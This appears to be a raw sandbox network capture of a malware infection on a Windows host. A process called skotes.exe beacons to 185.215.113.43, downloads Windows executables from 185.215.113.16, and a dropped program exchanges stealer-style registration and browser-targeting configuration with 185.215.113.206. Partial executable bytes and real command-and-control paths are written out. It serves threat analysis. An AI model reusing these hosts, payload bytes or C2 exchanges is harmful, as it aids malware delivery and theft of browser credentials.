Dec 16, 2024 09:01:53.538722038 CET	1236	IN	Data Raw: b7 05 5e b6 f7 1f d0 6d 36 da f1 45 11 2b 9e a5 28 23 1d 48 78 44 1c a3 c1 4e bd 0b f9 6a 22 a8 3a f0 5d c1 17 e6 53 fa 92 5a f1 c6 6e a7 fe f6 03 1e a8 b3 a8 d4 4f cd ef 72 5b de f1 43 86 76 d0 03 4c d0 37 a3 1b 48 15 d5 22 be 10 46 61 88 fd 78 Data Ascii: ^m6E+(#HxDNj":]SZnOr[CvL7H"Faxi;a,GxRjQ(?_"HE=$kjI-3y^@eG+Lhq 9jed~N.(*)y7$
Dec 16, 2024 09:01:53.538738012 CET	1236	IN	Data Raw: 09 81 ff 02 00 fc f4 aa 7c 6c 0b c4 4f 62 53 8f e0 39 d1 20 41 ea e3 02 b3 24 79 d2 8b f7 fc 6e 44 80 00 7b 3b ab 97 21 54 6f ed 5c 49 44 ea 41 42 cf c5 b5 dd 4d 66 e1 d6 6d a8 da 1f db 03 a6 48 c3 d0 c0 01 d8 b5 4a 7e 19 12 ad 0b 93 a5 2f 36 71 Data Ascii: \|lObS9 A$ynD{;!To\IDABMfmHJ~/6q3k%WPp~`">SVBmI8~'d`3Np3Xc8-g1ll$Rq5kg2YL*9bn -KpTZ(\|[
Dec 16, 2024 09:01:53.538753986 CET	1236	IN	Data Raw: e7 54 63 2d 38 71 39 11 3a 29 d8 4a 49 45 a9 96 11 9d 08 f1 c7 8c e6 3c 88 77 e5 b3 31 34 de f0 80 77 e3 86 bf a8 d3 c5 01 9b 7d e3 2b 8d 1d 48 c3 c9 db 41 d8 f5 5d 66 7b e3 9e ce 24 1c 76 51 3d 9f 92 3c dc 60 61 05 02 74 61 4a 43 89 ab da 60 bd Data Ascii: Tc-8q9:)JIE<w14w}+HA]f{$vQ=<`ataJC`L2@Mx\BD-1r"F[F;Iz=)sk}O w,lNPE@uwvJaW("-y'*E,wM2N$\,&L7\0Z5
Dec 16, 2024 09:01:53.538770914 CET	1236	IN	Data Raw: 47 63 a4 40 9a 4d 9f 0a fc 5a 93 86 a4 32 31 0a 79 4e 09 dd 87 1a c1 d6 7b ea 08 fd 39 f4 7a 07 38 d4 9e 56 79 4c 57 ba dd 24 11 36 f3 04 1c 13 fa 84 7b 3d 8a b3 15 3d 02 e3 05 8d 38 75 d5 ce 80 a3 76 bc d6 09 fe ee 1b 73 36 fe 47 cd 08 d9 50 b7 Data Ascii: Gc@MZ21yN{9z8VyLW$6{==8uvs6GPMx0`k2,':_x(~-<]=`daUKB1H:v+mZ~81P"tNTW%t$l0wx#c!`[5P/e?
Dec 16, 2024 09:01:53.658152103 CET	1236	IN	Data Raw: 84 b1 f1 e1 47 b4 ab cd b2 47 af b2 89 6a d6 32 26 73 e4 7f 44 69 20 e1 7f 82 28 d3 e8 9d 40 d6 4b a5 40 c7 e9 79 58 01 02 56 60 c4 30 03 5f d1 df 0e 15 b6 ef 13 95 c9 e2 88 c8 19 8e eb 1f 35 bf e7 97 23 51 a3 db d6 f9 21 5f 4f 01 e2 f5 eb 4b 8e Data Ascii: GGj2&sDi (@K@yXV`0_5#Q!_OKv-V:e@D0<~j\|.P@cnnGg1@}k0\mbBR"`Qe)vXU8I"/$'xS}Zho"F?qfgs;ZP7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49948	185.215.113.43	80	6508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 09:01:59.053913116 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 35 39 39 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015997001&unit=246122658369
Dec 16, 2024 09:02:00.400942087 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 08:02:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49952	185.215.113.16	80	6508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 09:02:00.818372011 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 16, 2024 09:02:02.149446011 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 08:02:01 GMT Content-Type: application/octet-stream Content-Length: 1777664 Last-Modified: Mon, 16 Dec 2024 07:22:30 GMT Connection: keep-alive ETag: "675fd536-1b2000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 20 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 68 00 00 04 00 00 68 5d 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg* h@Phh]@M$a$$ $h@.rsrc$x@.idata $z@ )$\|@gsobncjcN\|~@vlbjzjxvh@.taggant0 h"@
Dec 16, 2024 09:02:02.149503946 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 09:02:02.149523973 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 09:02:02.149696112 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 09:02:02.149713039 CET	1236	IN	Data Raw: 7d 73 eb 37 bf 2b 06 d5 7f 38 47 4c 8d f0 a9 f5 3a 0c 6e eb be e8 b4 bb 66 f0 e5 1a 5b 6c de e6 4e aa d6 cd 3e a2 ce f5 99 46 c1 79 a0 d2 ac c7 b6 d0 be cb b2 60 ae 07 8b f0 a1 a4 25 01 96 94 7b f4 89 a3 73 6e de cb 7d 18 b2 23 63 10 6e cc 40 d1 Data Ascii: }s7+8GL:nf[lN>Fy`%{sn}#cn@I,\N q((N3A nN,2Z+;#-<!MO?:$nt6XOC\skxq.l{~Y/gt~fWwVL,wHsues,{#G
Dec 16, 2024 09:02:02.149730921 CET	1236	IN	Data Raw: 50 c8 ac 8f 5c e0 e2 d4 7b f1 f0 28 e7 25 43 3d b0 08 2a 85 4d d0 79 bc 05 cf 89 5f 4c 00 1d 9d f2 4a 6f 8a 43 4f 4d fc a1 43 86 4d 17 47 6e f7 69 83 6f 66 24 27 09 fc 45 8b 74 b5 ad f2 bb 3e 03 39 ab 6b c3 5f 6f 1a ab 61 ac 46 8b 50 6e 38 cc ef Data Ascii: P\{(%C=*My_LJoCOMCMGniof$'Et>9k_oaFPn8pdHl_9-2MQGwm_P@s288+Q?5Jd#mrA5vrRu}[R8{Dpi]qIh33
Dec 16, 2024 09:02:02.149818897 CET	1236	IN	Data Raw: 7c 3b d6 37 51 68 87 63 c3 fa 73 c4 4b 09 27 b6 50 8c 77 4b 7c 59 5e d1 8c 2a 1e c5 fe f0 89 53 93 ca 83 59 04 38 36 ca 16 6c 88 cb c6 2d 32 0d 49 d6 f4 cc 42 08 fa e7 ab fc 18 d1 1c ac 7e d3 84 10 7c c7 f6 59 8e 50 51 b2 be eb 50 f8 b5 37 67 71 Data Ascii: \|;7QhcsK'PwK\|Y^SY86l-2IB~\|YPQP7gq:Q`Y7P\|vq\|8Q/'lT%>PBKF\|Wn>n[PtwW4/^l@1HrJXGb15QxnoJs]8yO[{*6zu
Dec 16, 2024 09:02:02.149847984 CET	1236	IN	Data Raw: 42 23 7c f0 dc 14 4e 40 c4 8f 6e cf dd 6f 52 fe 8a fe 75 17 c3 79 b1 b8 43 58 6e c9 ba 2d c6 bb a8 63 07 3b 4b f9 a5 cc de 6c a8 c7 63 4a d7 c7 f2 fe 86 7f 43 00 f1 43 87 7c cf db 1a fe a7 af 4c 98 f3 dc 70 43 6e cb 67 85 8e 15 8b 3c d7 d3 de 2a Data Ascii: B#\|N@noRuyCXn-c;KlcJCC\|LpCng<P4{p7nPw{Zl#T;k,A]?y?AT?oz>`C@uKB@v![<8\|x;*~=_x\|rO;,qwML( l
Dec 16, 2024 09:02:02.149864912 CET	1224	IN	Data Raw: 1e f1 26 42 4d 3d 77 c7 7e 96 6a c9 4a 24 aa 5f c3 30 a5 fd 11 f0 8d ef ce 1c 7c d4 de fd 8e 3a c5 28 7c c3 8a 6c 3e 41 83 fb ae b8 ae 48 83 c9 db f0 81 3d c5 e5 70 3a 04 6d d5 23 45 01 de 0e db 01 ab 97 4d 85 e6 38 51 70 ae e2 c6 7c 34 ca c2 78 Data Ascii: &BM=w~jJ$_0\|:(\|l>AH=p:m#EM8Qp\|4xK]l\|cV=}\|C;lf[%>`^:>S$Yf~%>/b0\|$}i\|SCAVl(w7Pk7Qmo&Dr&T@*\|;CDh\|qjUQn
Dec 16, 2024 09:02:02.149880886 CET	1236	IN	Data Raw: 86 fe 75 13 c5 4c a8 c3 56 7b 70 90 af fe 75 37 bf e4 f1 f8 40 ea 0c 32 63 7c 7f f5 d6 f9 e1 3d 4d d5 67 e5 48 8c ea c9 ea 0a 5e 36 6a bf 67 4c 07 a4 a7 c4 9a 75 6a 39 72 fd 7b 9b fc e9 97 f3 0e 6c 92 8f 5d 3c eb f5 e5 0a 7c 97 4c d4 6e 9b dc 2a Data Ascii: uLV{pu7@2c\|=MgH^6jgLuj9r{l]<\|LnMx4Q;_u2O{}vmB-`lPlUP[?H[Zk(Hb,3tD\|q^vzTo7QY\|{U8}:lPY6lEfY
Dec 16, 2024 09:02:02.269423962 CET	1236	IN	Data Raw: 59 f9 71 7b bf 2c be 25 c2 fc 88 a1 5b f2 cb 8a 29 41 81 0b 57 ba f4 06 85 40 ee 00 8c 9c b2 d1 66 3e 3d a2 c5 16 85 77 d0 1e 88 07 48 07 7a 09 c8 d6 87 c2 7f 5e 97 f1 28 be b5 a1 4c d9 86 7d 93 06 ca 83 8b 7e 87 d7 4f 6d 82 3b 77 cc 1a 06 c9 29 Data Ascii: Yq{,%[)AW@f>=wHz^(L}~Om;w).pC;K/)_sDvr?UL~Owk9IF]f~.Pq#,?.-O]6`Tg'uk9Zj E'qO{89}nhFf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49971	185.215.113.43	80	6508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 09:02:07.619667053 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 35 39 39 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015998001&unit=246122658369
Dec 16, 2024 09:02:08.972299099 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 08:02:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49977	185.215.113.16	80	6508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 09:02:09.106626034 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 16, 2024 09:02:10.447130919 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 08:02:09 GMT Content-Type: application/octet-stream Content-Length: 970752 Last-Modified: Mon, 16 Dec 2024 07:20:28 GMT Connection: keep-alive ETag: "675fd4bc-ed000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ad d4 5f 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 20 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL_g" w@0K@@@d\|@xdu4@.text `.rdata@@.datalpH@.rsrcxd@f@@.relocuvZ@B
Dec 16, 2024 09:02:10.447156906 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Dec 16, 2024 09:02:10.447170019 CET	448	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Dec 16, 2024 09:02:10.447278976 CET	1236	IN	Data Raw: e8 2d 82 00 00 8d 8f d0 fc ff ff e8 9d 02 00 00 8b 8f c4 fc ff ff 85 c9 0f 85 d9 0f 04 00 89 9f cc fc ff ff 8b 8f b8 fc ff ff 85 c9 0f 85 d9 0f 04 00 8d 8f 6c fc ff ff 89 9f c0 fc ff ff e8 ef 81 00 00 8d 8f 5c fc ff ff e8 e4 81 00 00 8d 8f 4c fc Data Ascii: -l\L_^[`t#05MI`tQF;dfqQVW3N>5N$-N4sPN`kPj
Dec 16, 2024 09:02:10.447290897 CET	1236	IN	Data Raw: 08 88 51 10 89 51 14 88 51 18 89 41 2c 8b c1 89 51 20 89 51 28 88 51 30 c3 56 8b f1 83 26 00 8d 4e 08 e8 57 00 00 00 8d 8e 8c 00 00 00 e8 fe 8d 00 00 8d 8e 9c 00 00 00 e8 f3 8d 00 00 8d 8e ac 00 00 00 e8 e8 8d 00 00 8d 8e bc 00 00 00 e8 dd 8d 00 Data Ascii: QQQA,Q Q(Q0V&NW LjE$\|I IF^jAZ @uSV5I3WjXSGfG____j[GSjG)ShG&ShG'SjG(SjG$
Dec 16, 2024 09:02:10.447303057 CET	1236	IN	Data Raw: 57 8a d3 8b 0e 8d 79 01 51 89 3e e8 9c 07 00 00 85 c0 74 1c 89 0d 28 15 4d 00 8b 40 04 8b 00 66 39 58 08 75 05 83 38 21 74 0f 8b cf 84 d2 74 d5 5f 5e 33 c0 5b 5d c2 04 00 b2 01 eb ed 55 8b ec 83 ec 1c 33 d2 42 53 56 57 8b c2 50 8d 50 01 89 55 fc Data Ascii: WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ(MO1f~u6 t+u+3+fy4AEAEARUE{lMG3+DfxGuB
Dec 16, 2024 09:02:10.447309017 CET	1236	IN	Data Raw: 00 8b 41 04 6a 7f 59 66 39 48 08 0f 85 1d 05 04 00 83 6d b4 01 0f 85 4d 05 04 00 eb 10 8b 45 b4 40 89 45 b4 83 f8 01 0f 8f 30 05 04 00 ff 75 e8 8b 5d fc ff 75 f4 8b 45 f8 ff 75 e4 ff 75 e0 53 50 ff 75 f0 57 e8 0f 04 00 00 85 c0 0f 89 08 ff ff ff Data Ascii: AjYf9HmME@E0u]uEuuSPuWAjYf9HEHOTE]ETpXEE;1uuuuSRu3SxMxl
Dec 16, 2024 09:02:10.447549105 CET	1236	IN	Data Raw: 6a 04 5a f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 4c d4 01 00 8b 3e 33 d2 59 8b 4e 0c 89 46 08 85 c9 7e 11 8b 46 08 89 3c 90 42 8b 4e 0c 8b 7f 24 3b d1 7c ef 53 8d 41 ff 32 db 33 ff 85 c0 7e 2c 8b 46 08 8b 0c b8 8b d1 8b 44 b8 04 89 4d f4 8b c8 89 45 f8 Data Ascii: jZQL>3YNF~F<BN$;\|SA23~,FDMEuNGA;\|u[_FMFMLU,SVWL$(D$83Ph\$\$(ID$PuIM3#MG;
Dec 16, 2024 09:02:10.447561026 CET	1236	IN	Data Raw: ca 49 00 8d 4d e0 e8 27 6e 00 00 6a 01 ff 35 18 14 4d 00 8d 4d b8 89 5d c4 89 5d c8 88 5d cc e8 26 20 00 00 85 c0 0f 84 03 fe 03 00 88 5d 0b 8d 4d e0 e8 d7 69 00 00 56 b9 f0 13 4d 00 e8 04 7a 00 00 8d 45 94 50 8d 4d c0 e8 b9 40 00 00 68 84 ca 49 Data Ascii: IM'nj5MM]]]& ]MiVMzEPM@hIMmSjEPEP/yMihtIME]EmSSEPEPxMEciMluM"zEPM9}WhXIYYWh0IYY
Dec 16, 2024 09:02:10.447577953 CET	1236	IN	Data Raw: eb ee 55 8b ec b8 04 00 01 00 e8 ec eb 03 00 56 8d 45 fc 8b f2 50 8d 85 fc ff fe ff 50 68 ff 7f 00 00 ff 31 ff 15 68 c3 49 00 8b 45 fc 85 c0 74 05 33 c9 66 89 08 8d 8d fc ff fe ff e8 11 00 00 00 8d 85 fc ff fe ff 8b ce 50 e8 b3 37 00 00 5e c9 c3 Data Ascii: UVEPPh1hIEt3fP7^VVYtf\|F\u3fLF^UVW3FO;Qu_^]USVWueYN3C;FPiq?PFuCP~3N_fH^
Dec 16, 2024 09:02:10.567157030 CET	1236	IN	Data Raw: 5e 5b c9 c2 04 00 83 c8 ff eb f4 41 eb da 55 8b ec 83 e4 f8 81 ec bc 03 00 00 53 56 57 68 b4 03 00 00 33 db c7 44 24 14 a8 03 00 00 8d 44 24 18 8b f1 53 50 e8 de ea 01 00 83 c4 0c 39 9e 98 01 00 00 75 0b a1 e4 13 4d 00 89 86 98 01 00 00 39 9e a4 Data Ascii: ^[AUSVWh3D$D$SP9uM9uM9uMSW[Md$$D$F@D$D$D$ qD$$=hMD$PjIhM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49978	185.215.113.206	80	1048	C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 09:02:09.131330967 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 16, 2024 09:02:10.487871885 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 08:02:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 16, 2024 09:02:10.490581989 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJJDBAEHIJKJKEBFIEGH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 42 46 30 43 41 32 43 33 45 39 33 33 31 35 38 38 32 31 30 39 39 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 2d 2d 0d 0a Data Ascii: ------IJJDBAEHIJKJKEBFIEGHContent-Disposition: form-data; name="hwid"5BF0CA2C3E933158821099------IJJDBAEHIJKJKEBFIEGHContent-Disposition: form-data; name="build"stok------IJJDBAEHIJKJKEBFIEGH--
Dec 16, 2024 09:02:10.949955940 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 08:02:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 44 55 77 4d 57 4d 33 4e 6a 59 35 4e 32 55 31 4e 6a 46 6d 4d 6a 51 35 59 6a 49 32 5a 44 41 31 59 7a 42 6c 4d 44 4e 68 4e 6a 51 79 59 6a 5a 69 4f 44 67 32 4d 54 4a 68 5a 6a 55 34 4d 6a 67 35 5a 54 49 34 4e 6a 52 6b 4f 54 51 77 4e 57 55 30 5a 6a 63 78 4d 6d 55 31 4f 57 59 34 59 6d 51 34 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZDUwMWM3NjY5N2U1NjFmMjQ5YjI2ZDA1YzBlMDNhNjQyYjZiODg2MTJhZjU4Mjg5ZTI4NjRkOTQwNWU0ZjcxMmU1OWY4YmQ4fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 16, 2024 09:02:11.045536995 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAECFCAAECBGDGDHIEHJ Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 35 30 31 63 37 36 36 39 37 65 35 36 31 66 32 34 39 62 32 36 64 30 35 63 30 65 30 33 61 36 34 32 62 36 62 38 38 36 31 32 61 66 35 38 32 38 39 65 32 38 36 34 64 39 34 30 35 65 34 66 37 31 32 65 35 39 66 38 62 64 38 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 2d 2d 0d 0a Data Ascii: ------BAECFCAAECBGDGDHIEHJContent-Disposition: form-data; name="token"d501c76697e561f249b26d05c0e03a642b6b88612af58289e2864d9405e4f712e59f8bd8------BAECFCAAECBGDGDHIEHJContent-Disposition: form-data; name="message"browsers------BAECFCAAECBGDGDHIEHJ--
Dec 16, 2024 09:02:11.493849993 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 08:02:11 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: 